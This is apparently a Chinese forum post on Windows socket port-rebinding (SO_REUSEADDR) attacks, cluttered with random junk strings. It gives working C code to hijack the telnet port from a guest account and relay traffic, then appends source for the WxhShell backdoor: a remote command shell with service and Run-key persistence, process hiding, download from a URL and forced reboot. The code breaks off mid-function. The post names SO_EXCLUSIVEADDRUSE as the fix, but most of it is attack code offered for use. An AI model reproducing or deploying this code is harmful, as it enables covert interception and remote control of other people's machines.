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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y++n0sK5< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &a)d,4e<M X$_pDF&\z saddr.sin_family = AF_INET; oA3;P]~[ =,8nfJ+x saddr.sin_addr.s_addr = htonl(INADDR_ANY); j1=su~ i`=%X{9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /4|_A {m{m O`T_'.Lk 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z<gII~% w+a5/i@ 这意味着什么?意味着可以进行如下的攻击: KyBtt47\ N:~4>p44[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M*D@zb0ia )Br#R:# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _-2ntO<E .o]9
HbIk5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $k`j";8uR 9Ais)Wy%p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !Y&]Y
G I'[;E.KU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VF g(: |9X2AS Qu 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }pGjc_:'] q(A_k+NL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p_)ttcpi1 `gyke2n #include &WOm[]Q4 #include f4&;l|R0a #include 9e.$x%7j #include *9aI\#} DWORD WINAPI ClientThread(LPVOID lpParam); I:6XM? int main() Z4E6J'B8 { 8kvA^r` WORD wVersionRequested; ?@kz`BY DWORD ret; T3LVn<Lm\ WSADATA wsaData; Y*{5'q+2 BOOL val; |gHdTb1 SOCKADDR_IN saddr; LROrhO SOCKADDR_IN scaddr; Q)lD2 int err; lCBH3-0^ SOCKET s; |WSpWsr, SOCKET sc; Jd',v int caddsize; rY8(`a HANDLE mt; VJl0UM3{J DWORD tid; R%q:]. wVersionRequested = MAKEWORD( 2, 2 ); AEDBr < err = WSAStartup( wVersionRequested, &wsaData ); UZmo?&y if ( err != 0 ) { ?$uEN_1O\@ printf("error!WSAStartup failed!\n"); 3Bvz& `\ return -1; Ye$;
d ~ } N9s.nu saddr.sin_family = AF_INET; wy{sS} hwQ|'^(@O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [_(uz,' ^f-)gZ& saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2oOos%0 saddr.sin_port = htons(23); [2>zaag if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uXvE>VpJG { R y(<6u0 printf("error!socket failed!\n"); AK%&Kq&PaY return -1; Xwjm T } {P\Ob0)q val = TRUE;
nEW.Y33 //SO_REUSEADDR选项就是可以实现端口重绑定的 &;p}HL, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 13)6p|6x { [O|c3; printf("error!setsockopt failed!\n"); O '`|(L return -1; )8'v@8;- } 9}Za_ZgG
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /u`Opv&I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vpzjh,r-j //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L<XX?I\p l-!" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2
e#"JZ= { g
4|ai*^ ret=GetLastError(); c* ~0R? printf("error!bind failed!\n"); 0;,Y_61
return -1; |2=w":2# } ~m0=YAlk? listen(s,2); &B=z*m while(1) |u$*'EsP { e6qIC*C ! caddsize = sizeof(scaddr); | z_av //接受连接请求 Zm|il9y4m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (^sb('" if(sc!=INVALID_SOCKET) UEm4):/} { Z0D&ayzkh^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); UfV {m
if(mt==NULL) u`oJ3mS; { {ehYE ^%N printf("Thread Creat Failed!\n"); wdV)M? break; eI|~neh } 'd;aAG } f`\J%9U _O CloseHandle(mt); &9.3-E47* } k<f0moxs' closesocket(s); @Eh(GZN WSACleanup(); m9jjKu]| return 0; d~QJ}a } -GQ.B{%G DWORD WINAPI ClientThread(LPVOID lpParam) Y2N$&]O{ { {4p7r7n' SOCKET ss = (SOCKET)lpParam; -(}N-yu SOCKET sc; KK-+vq unsigned char buf[4096];
60f%J1u SOCKADDR_IN saddr; FgPmQ long num; *]k E3 DWORD val; kjQI=:i= DWORD ret; OT)`)PZ" //如果是隐藏端口应用的话,可以在此处加一些判断 Z vyF"4QN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 pH@yE Vf saddr.sin_family = AF_INET; B8upv~U6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +s [_
4 saddr.sin_port = htons(23); Kj6+$l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i@<w"yNd_ { L9whgXD printf("error!socket failed!\n"); >Wpd q( o return -1; :b#5cMUe } ?:zMrlX val = 100; f9n4/(Cy if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `0{qfms { (hv}K*c{ ret = GetLastError(); kQ)2DCbdn return -1; z:{R4#(Q } kYd=DY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xlW>3'uHfa { a<V
Mh79* ret = GetLastError(); EVbDI yFn return -1; VC!g,LU|- } o`}8ZtD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fAvB!e { 23q2u6.F` printf("error!socket connect failed!\n"); MpJx>0j/J closesocket(sc); B_.>Q8tK; closesocket(ss); x1:1Jj: return -1; =E8Kacu% } [{_K[5i while(1) 8ZO~=e {
lx~mn~;x //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 89A04HX //如果是嗅探内容的话,可以再此处进行内容分析和记录 'wTJX> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @{8805Dp num = recv(ss,buf,4096,0); j !`2Z@ if(num>0) Y+~>9-S send(sc,buf,num,0); #kQLHi3## else if(num==0) f<3r;F7 break; #DHeEE num = recv(sc,buf,4096,0); R~BW=Dz,e if(num>0) !myF_cv}' send(ss,buf,num,0); 9M-/{D^+< else if(num==0) =TXc- J break; ~9+\ } z[_Gg8e closesocket(ss); ,[Z;"wE closesocket(sc); cNqw(\rr return 0 ; /?QBMI } cY*lsBo ^kpu9H &,`P%a&k ========================================================== +UP?M4g &rxR"^x\ 下边附上一个代码,,WXhSHELL jl4rEzVu rk(0w|zR+ ========================================================== rW3fd.;kss 9Uh nr]J. #include "stdafx.h" meV
RdQ 5bKn6O)K #include <stdio.h> :dzamHbX9 #include <string.h> _&m #include <windows.h> YEqWTB|w #include <winsock2.h> [t`QV2um #include <winsvc.h> 3^zOG2 #include <urlmon.h> e: :H1V pc%_:> #pragma comment (lib, "Ws2_32.lib") XX(;,[(_ #pragma comment (lib, "urlmon.lib") 1cdM^k -.E<~(fad #define MAX_USER 100 // 最大客户端连接数 ]Z\.Vx #define BUF_SOCK 200 // sock buffer z7J2O #define KEY_BUFF 255 // 输入 buffer )/9/p17:xu +d736lLe% #define REBOOT 0 // 重启 fm\IQqIK% #define SHUTDOWN 1 // 关机 FiqcM-Af4 SpY%2Y.Dy #define DEF_PORT 5000 // 监听端口 r#pC0Yj!3 U.G** v #define REG_LEN 16 // 注册表键长度 ( Qw"^lE3 #define SVC_LEN 80 // NT服务名长度 ;HJ|)PN5L u#Qd`@p // 从dll定义API e? fFh,a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Qb_BNUo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PDo%ob\Ym typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @DrMaTr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &la;Vu"dp ,m:YZ;J(Xd // wxhshell配置信息 ,!3G struct WSCFG { ^60BQ{ne int ws_port; // 监听端口 M: qeqn+ char ws_passstr[REG_LEN]; // 口令 P-VK=Y1q int ws_autoins; // 安装标记, 1=yes 0=no y!Q&;xO+! char ws_regname[REG_LEN]; // 注册表键名 .3&zP char ws_svcname[REG_LEN]; // 服务名 8|w_PP1oE char ws_svcdisp[SVC_LEN]; // 服务显示名 nJ4i[j8 char ws_svcdesc[SVC_LEN]; // 服务描述信息 %uyRpG3, char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^e>`ob int ws_downexe; // 下载执行标记, 1=yes 0=no fNc3&=]] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |jniI( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b&Qj`j4]ZM !~cTe!T }; o@r+Y l-"$a8jn2 // default Wxhshell configuration Q9Wa@gi| struct WSCFG wscfg={DEF_PORT, B]q
&?~ "xuhuanlingzhe", 3ADTYt". 1, ,K8O<Mw8 "Wxhshell", }\B`tAN "Wxhshell", 2;NIUMAMM "WxhShell Service", Kgi%Nd "Wrsky Windows CmdShell Service", !12W(4S5 "Please Input Your Password: ", 2Tt@2h_L 1, %<JjftNQ " http://www.wrsky.com/wxhshell.exe", E@aR5S> "Wxhshell.exe" Jeyy Z= }; P'GX-H ?ZDXT2b~~ // 消息定义模块 LZV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [>Kkj;* char *msg_ws_prompt="\n\r? for help\n\r#>"; ? r=cLC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; P}y}IR{6 char *msg_ws_ext="\n\rExit."; 2P~zYdjS char *msg_ws_end="\n\rQuit."; \aQBzEX char *msg_ws_boot="\n\rReboot..."; ?&ThMWl char *msg_ws_poff="\n\rShutdown..."; lqa.Nj char *msg_ws_down="\n\rSave to "; 0n|op:]BHM &Jv j@,>$d char *msg_ws_err="\n\rErr!"; .R;HH_ char *msg_ws_ok="\n\rOK!"; ScYw3i G*ZHLLO4S\ char ExeFile[MAX_PATH]; dX: (%_Mn int nUser = 0; )V%xbDd S HANDLE handles[MAX_USER]; pj G6v(zK int OsIsNt; 8MGtJ'. 7OYNH0EH SERVICE_STATUS serviceStatus; \T'uFy9&a SERVICE_STATUS_HANDLE hServiceStatusHandle; h}i
/u L"A,7@:Vd // 函数声明 ',?v7& int Install(void); tzJdUZJ int Uninstall(void); /<vbv int DownloadFile(char *sURL, SOCKET wsh); T~7i:<E^ int Boot(int flag); X"YH49? void HideProc(void); *x2+sgSf_0 int GetOsVer(void); }$s#H{T! int Wxhshell(SOCKET wsl); \RyOexNZ void TalkWithClient(void *cs); |g M|> int CmdShell(SOCKET sock); j|TcmZGO int StartFromService(void); {v+,U} int StartWxhshell(LPSTR lpCmdLine); (wU<Kpt?J O%;H#3kn&s VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F0W4B VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~q4KQ&.! orYE& // 数据结构和表定义 Qyvn A|& SERVICE_TABLE_ENTRY DispatchTable[] = :0x,%V74_! { -U~]Bugvh {wscfg.ws_svcname, NTServiceMain}, i"Hec9Ri {NULL, NULL} L|.q19b* }; ~A2{$C ;=
^kTb`X // 自我安装 QPB@qx#@ int Install(void) m/RX~,T*v& { VI7f} char svExeFile[MAX_PATH]; Dn~r~aR$g HKEY key; IV*@}~BJ strcpy(svExeFile,ExeFile); 9o5W\.A7[D I.BsKB // 如果是win9x系统,修改注册表设为自启动 /(Mi2$@v1 if(!OsIsNt) { mW~t/$Y$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xmr|k:z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FeOo;|a RegCloseKey(key); VWDXEa9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "~- H]9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jej|B#?` RegCloseKey(key); u"eO&Vc return 0; ,p2BB"^_i } &c!d}pU} } aK>5r^7S } o zg%- else { r*?rwtFtg ,Vb;2 // 如果是NT以上系统,安装为系统服务 |^!#x Tj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N6K%Wkz if (schSCManager!=0) YDh6XD<Z { Zx$q,Zo< SC_HANDLE schService = CreateService E.~; ( `"~s<+ schSCManager, A8Z2o\+ wscfg.ws_svcname, w1Ar[
P wscfg.ws_svcdisp, 5WhR| SERVICE_ALL_ACCESS, +!_?f'kv` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @ qFE6! SERVICE_AUTO_START, Ve/"9?Y_ SERVICE_ERROR_NORMAL, b _Q:v& svExeFile, Jt-s6-2 NULL, OPm?kr NULL, 38Rod]\E NULL, ~vf&JH'! NULL, *Nfn6lVB NULL >y
P`8Oq[ ); D+$ k if (schService!=0) a2:Tu { t<`h(RczHI CloseServiceHandle(schService); -
0t
CloseServiceHandle(schSCManager); !AR$JUnX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C):RE<X strcat(svExeFile,wscfg.ws_svcname); $`nKq4Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?(8z O" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ F0qqj RegCloseKey(key); G5^gwG+ return 0; bYzBe\^3q3 } WA);Z= } &&1q@m,cP CloseServiceHandle(schSCManager); 6r"PtHr } S 6sSdo'
} 'pE %'8R \L#BAB6z return 1; wu*WA;FnA } pv;c<NQ'1 S}"?#=Q.%O // 自我卸载 uO$ujbWZ int Uninstall(void) \!UNale { {$iJYS\ HKEY key; k&nhF9Y4 1SBc:!2 if(!OsIsNt) { I3Sl>e(Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v{rc5 ]\R RegDeleteValue(key,wscfg.ws_regname); CvpqQ7&k7 RegCloseKey(key); W7NHr5RC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b("JgE` RegDeleteValue(key,wscfg.ws_regname); -X@;"0v RegCloseKey(key); &%pB; dk return 0; da@y*TO#i } MCma3^/1 } *8p\.za1 } ADX} else { K*J8(/WkD ]P0DPea SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _lQ+J=J$.R if (schSCManager!=0) DT&[W<oN { 81a&99k# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yZ:|wxVY if (schService!=0) F *;
+-e { "sFdrXJ if(DeleteService(schService)!=0) { )EO/P+& CloseServiceHandle(schService); Tu_dkif' CloseServiceHandle(schSCManager); wrG*1+r return 0; eEsEW<su } &3{:h CloseServiceHandle(schService); NQfIY`lt' } 1jmhh!, CloseServiceHandle(schSCManager);
hZlajky } ^
+{ ~
^y7 } ~s^&*KaA E08AZOY&g return 1; (XqeX(s } `j>qOT nE-=7S L // 从指定url下载文件 %o4d43uZ int DownloadFile(char *sURL, SOCKET wsh) 4BEVG&Ks
{ Q,\lS HRESULT hr; ^Hq}9OyS9 char seps[]= "/"; 6lT'%ho}B char *token; N#.IpY'7Ze char *file; e^'?:j char myURL[MAX_PATH]; \f66ipZK* char myFILE[MAX_PATH]; PLLlo~Bb #UND'c(5 strcpy(myURL,sURL); HTqik w5X token=strtok(myURL,seps); cjN4U [ while(token!=NULL) &I(|aZx?J { #gN{8Yk> file=token; G|O"Kv6 token=strtok(NULL,seps); ;
wHuL\ } DBmcvC aRG[F*BY GetCurrentDirectory(MAX_PATH,myFILE); oub4/0tN,~ strcat(myFILE, "\\"); N ZlJ_[\$C strcat(myFILE, file); 0>e>G (4(8 send(wsh,myFILE,strlen(myFILE),0); :m$%D]WY send(wsh,"...",3,0); +mxYz#reX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *<0g/AL if(hr==S_OK) 3:;%@4f return 0; ~r>UjC_
B: else hXrvb[6 return 1; s+CXKb + j_H
T } 57MoO ^#t<ILUa // 系统电源模块 x<3vA|o int Boot(int flag) ^y6CV4T+ { h=U 4 HANDLE hToken; g1{wxBFE TOKEN_PRIVILEGES tkp; (@#Lk"B k m|wB4 if(OsIsNt) { 0,3 ':Df OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7> ]C2! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bG&qgbN> tkp.PrivilegeCount = 1; K*}j1A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pxC5a i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R"=M5 if(flag==REBOOT) { Oxvw`a# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?d0Dfqh_ return 0; $G}Q}f } N~kYT\$b# else { E,$uNw '] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `->k7a0<b1 return 0; 0cbF.Um8 } mNYz7N } eC39C2q\ else { =>J#_Pprn if(flag==REBOOT) { M:$nL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K!~](_W! return 0; {XC rjO| } 5`DH\VD.j else { ~e8n yB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,m8*uCf return 0; `QF|>
N } =R"tnjR } rY= #^S Sx"I]N return 1; AVWrD[ wD2 } 4#9-Z6kOk B" z5j
// win9x进程隐藏模块
}+J@;: void HideProc(void) .#J3UZ { Zv\b`Cf} ZM?r1Z4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H/&Q,9sU21 if ( hKernel != NULL ) ?OyW|jL { QR'g*Bro pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #VE$C3< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &/F[kAy FreeLibrary(hKernel); (^9M9+L[i } '[^2uQc $H} Mn"G return; zOdKB2_J7 } Rp*t"HSaAW PEIr-qs%D // 获取操作系统版本 %#a%Luq int GetOsVer(void) !.$P`wKr { auW]rwY OSVERSIONINFO winfo; >}*jsqaVU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nj`qV GetVersionEx(&winfo); {;DZ@2| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2v1&%x:y# return 1; Uc0'XPo3I else HPKyAcS\ return 0; v6\2mc. } q:EQ, s.)w
A`&& // 客户端句柄模块 %iC63)(M int Wxhshell(SOCKET wsl) {~g { [frD
L) SOCKET wsh; L0 2~FT struct sockaddr_in client; 9[E$>o"% DWORD myID; "]Dzc[Vp ^X%4@,AE while(nUser<MAX_USER) [+,U0OV, { {; cB?II int nSize=sizeof(client); /
i2-h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f+Li'? if(wsh==INVALID_SOCKET) return 1; u!k<sd_8B EoR6Rx@Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fZ:rz;tM if(handles[nUser]==0) m+{: ^ closesocket(wsh); }QW~.>` else >/kG5]zxY nUser++; N:jiZ) } Nw&}qSN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [Ms{J!^q @/NZ>. return 0; SSbK[aR } L9?/ -@M A<CXd t+t // 关闭 socket 1\{U<Oli void CloseIt(SOCKET wsh) xjq7%R_, { ,W8Iabi^ closesocket(wsh); `$agM@"^ nUser--; 4yZ+,hqJ<9 ExitThread(0); KM(9&1/ } 7RC096 ?} f3>6:( // 客户端请求句柄 qq7X",s void TalkWithClient(void *cs) :`^3MMLO { 7O9hn2?e C
3XZD4.2 SOCKET wsh=(SOCKET)cs; FO>( QLlH char pwd[SVC_LEN]; agU!D[M_G char cmd[KEY_BUFF]; `CEj 4 char chr[1]; 4zfRD`; int i,j; :htq%gPex9 $EGRaps{j> while (nUser < MAX_USER) { fDEu%fUYZ z vb}p if(wscfg.ws_passstr) { !+DJhw&c, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CndgfOF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oYh<k //ZeroMemory(pwd,KEY_BUFF); b801OF i=0; SM /ykk while(i<SVC_LEN) { $FusDdCv3 6+B{4OY // 设置超时 /sT
^lf= fd_set FdRead; ,WB_C\.#XN struct timeval TimeOut; I`'a' FD_ZERO(&FdRead); d1TdH s\ FD_SET(wsh,&FdRead); "ryk\}*< TimeOut.tv_sec=8; bA<AG* TimeOut.tv_usec=0; 5%Oyvt]}2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4]aiT8)) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o!toO&= <ql w+RVt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gkv~e?Kc~^ pwd =chr[0]; T4~`e_ if(chr[0]==0xd || chr[0]==0xa) { ]Q4PbW pwd=0; .-KtB(t break; v"~Do+*+ } sP?$G8-^ i++; N=T.l*8 } /j' B\, 'cAc{\) // 如果是非法用户,关闭 socket WfRfx#MMt if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C1T=O } HUJ|-)"dw p`:*mf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \6lh `U send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gg9VS&VI -Aa]aDAz68 while(1) { l@N;sI<O- Il{^
j6 ZeroMemory(cmd,KEY_BUFF); U~*c#U"bh ?h!t$QQ!M // 自动支持客户端 telnet标准 Bf5&}2u j=0; sn-)(XU! while(j<KEY_BUFF) { #M5_em4kN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K DYYB6| cmd[j]=chr[0]; X"[dQ_o if(chr[0]==0xa || chr[0]==0xd) { 'ySljo*It cmd[j]=0; g ?afX1Sg break; /
l".}S } @iU%`=ziz j++; FXx.$W } #(%t*"IY; %won=TG8 // 下载文件 J=UZ){c>:. if(strstr(cmd,"http://")) { ! FNf>z+ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Co@+I[,4& if(DownloadFile(cmd,wsh)) NJZXs_%>$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); h|bqyu else 9~@<-6jE3b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3p=vz' } dQ: ?<zZ else { >']+OrQH v&xKi>Ail switch(cmd[0]) { 4s9c#nVlu _u>t3RUA // 帮助 ZP"yq6!i case '?': { ~32Pjk~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 81Z4>F: break; wGPotPdE2 } tNU-2r // 安装 #wF1 case 'i': {
n
]w7Zj if(Install()) J"-_{)0lD send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2G?$X? else d7* CwY9" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E*BSfn&i break; dY8(nQG } ( :{"C6x // 卸载 Gz?2b#7v
case 'r': { UR}kB&t if(Uninstall()) GR<c= send(wsh,msg_ws_err,strlen(msg_ws_err),0); | H8^ else wxj>W[V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iNQ0p:<k break; y0<Uu } F"'n4|q4n // 显示 wxhshell 所在路径 =`-|& case 'p': { (3VGaUlx char svExeFile[MAX_PATH]; QQFf5^ strcpy(svExeFile,"\n\r"); M ?*Tf& strcat(svExeFile,ExeFile); lyyX<=E{) send(wsh,svExeFile,strlen(svExeFile),0); '<7S^^ax break; Y9u;H^^G } ~].ggcl`w // 重启 DR@1z9 a case 'b': { 1* ^'\W. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dv, C6t2 if(Boot(REBOOT)) wz#A1F send(wsh,msg_ws_err,strlen(msg_ws_err),0); qaG# ; else { DL {R|3{N closesocket(wsh); Fnb2.R'+ ExitThread(0); W`rMtzL5 } b{M}5~e=B break; .wy$-sG81 } ,."b3wR[w // 关机 ,3HcCuT case 'd': { jJBnDxsA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G 4qy*. if(Boot(SHUTDOWN)) \G>ZkgU send(wsh,msg_ws_err,strlen(msg_ws_err),0); )DT|(^ else { rwSbqL^eM closesocket(wsh); gcf6\f}\< ExitThread(0); Tf x :"u } .VM3D0aV break; XV>&F{ } \?Mf _ // 获取shell f:wd&V case 's': { }gGkV] CmdShell(wsh); V*RdDF7 closesocket(wsh); Qx)Jtb0`V ExitThread(0); ;AIc?Cg break; Bs8[+Ft5 } KrcgIB8X // 退出 @hif$ case 'x': { u6Je@e_! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W3rl^M=r CloseIt(wsh); * R d#{Io7 break; W^\d^) } ` ;)ZGY\ // 离开 5$rSEVg9 case 'q': { tX%`#hb?s send(wsh,msg_ws_end,strlen(msg_ws_end),0); =IjQ4 0W closesocket(wsh); iv&v8;B WSACleanup(); %ow^dzW exit(1); x\\~SGd break; jS<_ ) } )]43R } vjT( Q } 5x8+xw3Eh D@oCP =m< // 提示信息 en*d/>OVJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k`{7}zxS } !CUoHTmB } 1.U`D\7mb E=]4ctK return; 5W? v'" } kAA>FI6 w
ej[+y- // shell模块句柄 3)=c]@N0 int CmdShell(SOCKET sock) \G|%Zw| { ]3iH[,KU3 STARTUPINFO si; zj{r^D$ ZeroMemory(&si,sizeof(si)); MrRaU x6z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gB'fFkd si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~|ss*`CT PROCESS_INFORMATION ProcessInfo; ^wb:C[r!V char cmdline[]="cmd"; rQ`i8GF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LwcIGhy return 0; J%lgR } *hLQ =ONHKF[UJ // 自身启动模式 7R4z}2F2 int StartFromService(void) /Ci*Az P { Z6p5*+ typedef struct }Z-Z|G)# { -s|8<A||" DWORD ExitStatus; #|GSQJ$F)` DWORD PebBaseAddress; j^tW
Iz DWORD AffinityMask; sZ,Y60s8a DWORD BasePriority; Z/;Xl~ ULONG UniqueProcessId; 8mT M$#\ ULONG InheritedFromUniqueProcessId; 'y]\-T } PROCESS_BASIC_INFORMATION; %p^.|Me7 GeszgtK{T PROCNTQSIP NtQueryInformationProcess; =@2FX&&E_ mE`kjmX{ E static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ui q^|5Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sJwyj D$b yz8mP3"c:o HANDLE hProcess; i%e7LJ@5AW PROCESS_BASIC_INFORMATION pbi; ~'37`)]z 98=wnWX6$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (Yo>Oh4 if(NULL == hInst ) return 0; bVP"(H] !Z
